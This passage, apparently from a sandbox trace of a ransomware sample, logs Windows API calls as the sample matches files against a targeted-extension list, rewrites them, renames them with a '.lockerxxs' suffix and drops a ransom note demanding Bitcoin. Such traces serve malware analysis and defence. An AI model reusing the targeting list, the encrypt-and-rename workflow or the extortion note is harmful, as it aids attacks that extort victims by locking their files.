(lpString="*.psd") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.vmx") returned 0 [0070.354] lstrlenA (lpString="*.vmx") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.354] lstrlenA (lpString="*.vmdk") returned 6 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.vdi") returned 0 [0070.355] lstrlenA (lpString="*.vdi") returned 5 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.lay6") returned 0 [0070.355] lstrlenA (lpString="*.lay6") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.355] lstrlenA (lpString="*.mpeg") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.djvu") returned 0 [0070.355] lstrlenA (lpString="*.djvu") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.tiff") returned 0 [0070.355] lstrlenA (lpString="*.tiff") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.backup") returned 0 [0070.355] lstrlenA (lpString="*.backup") returned 8 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.pdf") returned 0 [0070.355] lstrlenA (lpString="*.pdf") returned 5 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.cert") returned 0 [0070.355] lstrlenA (lpString="*.cert") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.docm") returned 0 [0070.355] lstrlenA (lpString="*.docm") returned 6 [0070.355] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.355] lstrlenA (lpString="*.xlsm") returned 6 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.dwg") returned 0 [0070.356] lstrlenA (lpString="*.dwg") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.nd") returned 0 [0070.356] lstrlenA (lpString="*.nd") returned 4 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.tlg") returned 0 [0070.356] lstrlenA (lpString="*.tlg") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.lgb") returned 0 [0070.356] lstrlenA (lpString="*.lgb") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mov") returned 0 [0070.356] lstrlenA (lpString="*.mov") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.xdw") returned 0 [0070.356] lstrlenA (lpString="*.xdw") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.ods") returned 0 [0070.356] lstrlenA (lpString="*.ods") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.wav") returned 0 [0070.356] lstrlenA (lpString="*.wav") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mp3") returned 0 [0070.356] lstrlenA (lpString="*.mp3") returned 5 [0070.356] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.aiff") returned 0 [0070.356] lstrlenA (lpString="*.aiff") returned 6 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.flac") returned 0 [0070.357] lstrlenA (lpString="*.flac") returned 6 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.m4a") returned 0 [0070.357] lstrlenA (lpString="*.m4a") returned 5 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.csv") returned 0 [0070.357] lstrlenA (lpString="*.csv") returned 5 [0070.357] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.357] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.357] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.357] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.357] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.357] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini") returned="eula.ini" [0070.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" [0070.357] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="" [0070.357] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt" [0070.357] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\how to decrypt files.txt")) returned 0x20 [0070.357] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.ems") returned 0 [0070.357] lstrlenA (lpString="*.ems") returned 5 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.db") returned 0 [0070.357] lstrlenA (lpString="*.db") returned 4 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.dbf") returned 0 [0070.357] lstrlenA (lpString="*.dbf") returned 5 [0070.357] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.myox") returned 0 [0070.357] lstrlenA (lpString="*.myox") returned 6 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.myo") returned 0 [0070.358] lstrlenA (lpString="*.myo") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbw") returned 0 [0070.358] lstrlenA (lpString="*.qbw") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbb") returned 0 [0070.358] lstrlenA (lpString="*.qbb") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbm") returned 0 [0070.358] lstrlenA (lpString="*.qbm") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbo") returned 0 [0070.358] lstrlenA (lpString="*.qbo") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbx") returned 0 [0070.358] lstrlenA (lpString="*.qbx") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qba") returned 0 [0070.358] lstrlenA (lpString="*.qba") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qby") returned 0 [0070.358] lstrlenA (lpString="*.qby") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qbj") returned 0 [0070.358] lstrlenA (lpString="*.qbj") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.ofx") returned 0 [0070.358] lstrlenA (lpString="*.ofx") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.qif") returned 0 [0070.358] lstrlenA (lpString="*.qif") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.mye") returned 0 [0070.358] lstrlenA (lpString="*.mye") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.mbox") returned 0 [0070.358] lstrlenA (lpString="*.mbox") returned 6 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.eml") returned 0 [0070.358] lstrlenA (lpString="*.eml") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.pst") returned 0 [0070.358] lstrlenA (lpString="*.pst") returned 5 [0070.358] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.ost") returned 0 [0070.359] lstrlenA (lpString="*.ost") returned 5 [0070.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.idx") returned 0 [0070.359] lstrlenA (lpString="*.idx") returned 5 [0070.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.dbx") returned 0 [0070.359] lstrlenA (lpString="*.dbx") returned 5 [0070.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.sql") returned 0 [0070.359] lstrlenA (lpString="*.sql") returned 5 [0070.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", pszSpec="*.mdb") returned 0 [0070.359] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" [0070.359] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" [0070.359] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html." [0070.359] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.lockerxxs" [0070.359] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.360] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a6af [0070.360] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a50d20, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0070.360] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.360] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3a689, lpOverlapped=0x0) returned 1 [0070.364] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html") returned="license.html" [0070.365] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.365] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3a689, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3a689, lpOverlapped=0x0) returned 1 [0070.366] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.366] CloseHandle (hObject=0x94) returned 1 [0070.377] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html.lockerxxs")) returned 1 [0070.378] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.378] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="UKR", cAlternateFileName="")) returned 0 [0070.378] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0070.378] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004c, dwReserved1=0x3, cFileName="Locale", cAlternateFileName="")) returned 1 [0070.378] lstrcmpA (lpString1=".", lpString2="Locale") returned -1 [0070.378] lstrcmpA (lpString1="..", lpString2="Locale") returned -1 [0070.378] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*") returned="*.*" [0070.378] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpString2="Locale" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0070.378] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0070.381] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.381] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.381] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0070.381] lstrcmpA (lpString1=".", lpString2="ca_ES") returned -1 [0070.381] lstrcmpA (lpString1="..", lpString2="ca_ES") returned -1 [0070.381] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.381] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\", lpString2="ca_ES" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0070.381] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned 60 [0070.381] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.384] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.384] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0070.384] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.384] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.385] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0070.385] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="accessibility.CAT") returned 1 [0070.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="accessibility.CAT") returned 1 [0070.385] lstrcmpiA (lpString1="", lpString2="accessibility.CAT") returned -1 [0070.385] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*") returned="*.*" [0070.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.385] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.385] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.385] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0xffffffff [0070.385] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.386] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.386] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.387] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, 